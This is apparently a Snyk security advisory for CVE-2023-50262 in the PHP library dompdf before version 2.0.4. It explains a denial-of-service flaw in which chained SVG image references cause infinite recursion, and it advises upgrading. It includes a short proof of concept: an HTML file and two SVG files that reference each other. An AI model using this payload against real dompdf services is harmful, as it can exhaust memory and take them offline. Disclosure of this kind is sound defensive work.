Improper Input Validation Affecting dompdf/dompdf package, versions <2.0.4
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (20th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-DOMPDFDOMPDF-6124861
- published 14 Dec 2023
- disclosed 13 Dec 2023
- credit cod3beat
Introduced: 13 Dec 2023
CVE-2023-50262 Open this link in a new tabHow to fix?
Upgrade dompdf/dompdf
to version 2.0.4 or higher.
Overview
Affected versions of this package are vulnerable to Improper Input Validation via the SVG image parsing process. An attacker can send multiple requests that trigger infinite recursion through chained references between two or more SVG images, leading to memory exhaustion and potential system unresponsiveness.
PoC
recurse.html
<img src="one.svg">
one.svg
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<image href="two.svg" />
</svg>
two.svg
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<image href="one.svg" />
</svg>
References
CVSS Scores
version 3.1